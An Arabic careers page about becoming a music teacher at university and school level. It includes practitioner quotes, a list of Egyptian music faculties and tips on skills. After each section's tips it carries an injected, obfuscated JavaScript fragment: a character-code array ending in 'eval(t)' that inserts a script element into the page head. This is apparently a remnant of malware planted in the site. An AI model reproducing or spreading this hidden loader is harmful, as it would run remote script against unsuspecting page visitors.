تعليم الموسيقى

لمحة عامة عن الوظيفة
تدريس نظريات الموسيقى وتاريخها وفروع الموسيقى الأخرى مثل الأداء أو الدراسات التجارية الموسيقية في مؤسسات التعليم العالي.

كيف تصبح أستاذ الموسيقى بالجامعة
ما هو عمل أستاذ الموسيقى بالجامعة؟
مدرس الموسيقى بالجامعة راينور كارول يعلم الإيقاع. بصفته محاضرًا ، فإن واجبات وظيفته مماثلة لتلك التي يتولاها أستاذ كامل ، على الرغم من قضاء وقت أقل في الحرم الجامعي. يقول: “أقوم بالتدريس مرة واحدة في الأسبوع ، كل ثلاثاء ، في جامعة كاليفورنيا ، لوس أنجلوس”. “وصلت حوالي الساعة 10:00 صباحًا. وإعداد المواد ليومي. أقوم بتدريس دروس خصوصية من 11:00 صباحًا حتى 7:00 مساءً. مع استراحة لمدة ساعة في المنتصف.
تشمل الدروس الخاصة مواد الإحماء ، والتمارين الفنية ، والقطع الموسيقية والمعزوفات المنفردة ، ومخزون الأوركسترا والمجموعة ، وإذا سمح الوقت ، القراءة. ينتهي يومي بحلقة دراسية في الاستوديو لمدة ساعة واحدة الساعة 7:30 مساءً. يحضر جميع تخصصات الإيقاع هذا الفصل “.
“تشمل الموضوعات الأقسام ، والفصول الرئيسية ، وإصلاح الأدوات وصيانتها ، والتقنية التفصيلية للأدوات التي لم يتم تناولها في الدروس الخصوصية (الدف ، والمثلث ، والصنج ، وطبل الباص ، والصنجات).”
يعمل مدرسو الموسيقى بالكلية والجامعة والمعهد الموسيقي بشكل أساسي مع الطلاب وأعضاء هيئة التدريس الآخرين. يختلف تكوين قسم الموسيقى بالمدرسة بناءً على حجم المؤسسة وميزانيتها ، ولكن بشكل عام ، سيتألف من مساعدي التدريس والمحاضرين والأساتذة المساعدين والأساتذة المشاركين والأساتذة المساعدين والأساتذة الكاملين.
كما أنهم يعملون مع موظفين جامعيين آخرين لا يقومون بالتدريس ولكنهم يتعاملون مع الأعمال الإدارية للقسم.

• الدراسة الاكاديمية
كلية التربية النوعية – قسم تربية موسيقية – جامعة القاهرة – جامعة أسيوط – جامعة كفر الشيخ – جامعة المنصورة – جامعة عين شمس
كلية التربية الموسيقية – جامعة حلوان
المعهد العالى للموسيقى العربية ( الكونسرفتوار ) – اكاديمية الفنون

ما هي المهارات التي تحتاج إليها؟
يقول كارول إن مدرس الموسيقى بالكلية أو الجامعة أو المعهد الموسيقي يجب أن يتمتع “بخبرة التدريس في مدرسة ثانوية أو كلية مدينة ومرفق تقني جيد على أداته” من أجل تعليم الطلاب الموسيقى. إن العمل في مؤسسة أخرى للتعليم العالي لن يساعد فقط في فهم كيفية تعليم الآخرين ولكن في معرفة كيفية عمل العالم الأكاديمي.
يمكن اكتساب القدرات الموسيقية الفنية من خلال الأداء مع الأوركسترا والفرق الموسيقية والجوقات والمجموعات الموسيقية الأخرى بمرور الوقت. يمكن أن تساعد الدراسات المستمرة وتعلم أداة أخرى إلى جانب الأداة الأساسية للمعلم في أدائه وقدراته التعليمية.
الشخصية
من الواضح أن الرغبة في مساعدة الآخرين على التعلم هي سمة شخصية لا بد منها لمدرسي الموسيقى في الكلية. القدرة على التكيف هي أيضا مفتاح. ما هي الجوانب الأخرى لشخصية المعلم التي ستساعدهم على النجاح في عالم الأوساط الأكاديمية؟ يقول كارول إنه “يجب أن يكونوا قادرين على التواصل بشكل جيد مع الآخرين والاستمتاع بجميع جوانب الموسيقى (التدريس ، والأداء ، والبحث ، والتوجيه ، وما إلى ذلك). ومن الضروري أيضًا امتلاك مهارات تنظيمية جيدة”.
البداية
• ابحث عن مرشد ، في هذه الحالة ، مدرس جامعي محترم وذو خبرة. اسألهم عما فعلوه للوصول إلى مكانهم ، وما الذي كان أكثر فائدة لهم ، وما هو الأكثر ضررًا ، وما النصيحة التي يقدمونها لك؟ لاحظ ما يفعلونه [و] كيف يفعلونه – واسأل لماذا.
• قم بالتدريس الآن بقدر ما يمكنك القيام به. بجانب تعليمك ، الخبرة العملية لا تقدر بثمن.
• العمل في مجتمعك. تواصل مع الطلاب الذين يحتاجون إلى التوجيه في تدريبهم.

107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(t);

لمحة عامة عن الوظيفة
تدريس الأداء الموسيقي ونظريات الموسيقى لتلاميذ المراحل الإبتدائية والإعدادية والثانوية. يقود مدرس الموسيقى بعض فرق الأداء المدرسية مثل الفرق الموسيقية المتحركة والكورال والأوركسترا.

كيف تصبح مدرس موسيقى
ما هو عمل مدرس الموسيقى؟.
“في كل فترة كورال ، أقوم بتدريس الأسلوب الصوتي للطلاب ، وتاريخ الموسيقى ، ونظرية الموسيقى ، والغناء البصري ، وتعلم الذخيرة الموسيقية. أقود كل بروفة من البيانو. بين الفصول الدراسية وبعد المدرسة ، أقوم بالرد على رسائل البريد الإلكتروني ، والعمل بشكل فردي مع الطلاب ، وملء الأوراق ، والتخطيط لأحداث الجوقة. “
يقدم معلمو الموسيقى تقاريرهم إلى مدير مدرستهم ومشرف الموسيقى في منطقتهم التعليمية. اعتمادًا على حجم وميزانية التوظيف لمدرستهم ، يمكنهم أيضًا العمل في الفصل الدراسي مع مدرس مساعد أو متدرب في طريقه للحصول على درجته أو شهادتها.
يمكن العثور عليها في كل من المدارس الابتدائية والثانوية ، حيث يقودون أيضًا فرقًا موسيقية مثل الجوقة أو الأوركسترا أو فرقة الحفلات الموسيقية أو فرقة المسيرة أو فرقة الجاز ، بالإضافة إلى إجراء دروس الموسيقى أثناء الفصل الدراسي. عادة ، سيكون هناك تنوع أكبر في خيارات المجموعات على مستوى المدرسة الثانوية منها في المرحلة الابتدائية أو الإعدادية.
لذلك ، من المرجح أن يعمل مدرسو الموسيقى في المدرسة الثانوية بدوام كامل أكثر من نظرائهم في الصفوف الدنيا ، الذين قد يأتون فقط في أيام معينة لتعليم الموسيقى.
يوجد في العديد من المدارس الثانوية أعضاء هيئة تدريس في الجوقة والفرقة والأوركسترا للموسيقى. في حين أن العديد من واجباتهم الوظيفية تتداخل ، فإن المتطلبات ستكون مختلفة قليلاً بناءً على نوع الموسيقى التي يدرسونها. بشكل عام ، يقوم المدرسون في هذه الأدوار بتدريس مهارات الأداء والارتجال وقراءة الموسيقى وأحيانًا التأليف.

• الدراسة الاكاديمية
كلية التربية النوعية – قسم تربية موسيقية – جامعة القاهرة – جامعة أسيوط – جامعة كفر الشيخ – جامعة المنصورة – جامعة عين شمس
كلية التربية الموسيقية – جامعة حلوان
المعهد العالى للموسيقى العربية ( الكونسرفتوار ) – اكاديمية الفنون

ما هي المهارات التي تحتاج إليها؟
يقول هانكوك: “إن امتلاك القدرة على تعليم الغناء والعزف على البيانو أمر لا يقدر بثمن”. تعد مهارات العزف على البيانو ضرورية لمدربي الموسيقى الآلية أيضًا ، المطلوب منهم إثبات إتقان لوحة المفاتيح في الكلية. يجب أن يكون أعضاء هيئة التدريس في الفرقة أو الأوركسترا قادرين أيضًا على إثبات إتقانهم لأدواتهم الرئيسية.
المهارات الأخرى التي تساعد في هذه العملية هي اختيار الذخيرة ، ومهارات الإدارة ، ومهارات التعامل مع الآخرين. إن القدرة على قيادة فريق ، وصياغة الأهداف ، والقيام بتخطيط المناهج تعد ميزة كبيرة “. تعد مهارات الأشخاص والقدرة على العمل مع الأطفال والمراهقين والشباب ، بالطبع ، ذات أهمية قصوى. يمكن تعلم العديد من هذه المهارات أثناء التدريب التدريبي المطلوب لتخصصات التربية الموسيقية.
لمزيد من المعلومات حول كيفية تدريس الموسيقى ، راجع مدونتنا.

الشخصية
يقول هانكوك: “يحتاج مدرس الموسيقى إلى أن يكون قائدًا قويًا وموسيقيًا قويًا”. “يجب أن يكونوا قادرين على التواصل مع الطلاب والتعبير عن الأهداف بوضوح ومعرفة كيفية تحقيقها. يجب أن يكونوا منظمين ويعملون بجد ، ويجب أن يكونوا قادرين على العمل مع البالغين والأطفال على حد سواء “. على هذا النحو ، من المهم أيضًا التحلي بالصبر والتواصل.

البداية
• “طور معرفتك بالمحتوى قدر الإمكان.
• تطوير مهارات الصوت والعزف على البيانو والقيادة.
• تنمية الثقة في قدرتك على نقل المعلومات الشفهية بإيجاز.
• تحدث إلى المعلمين ذوي الخبرة لمعرفة أفضل استراتيجيات التدريس لمجموعة متنوعة من المواقف وتخطيط الذخيرة الإبداعية. “

107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(t);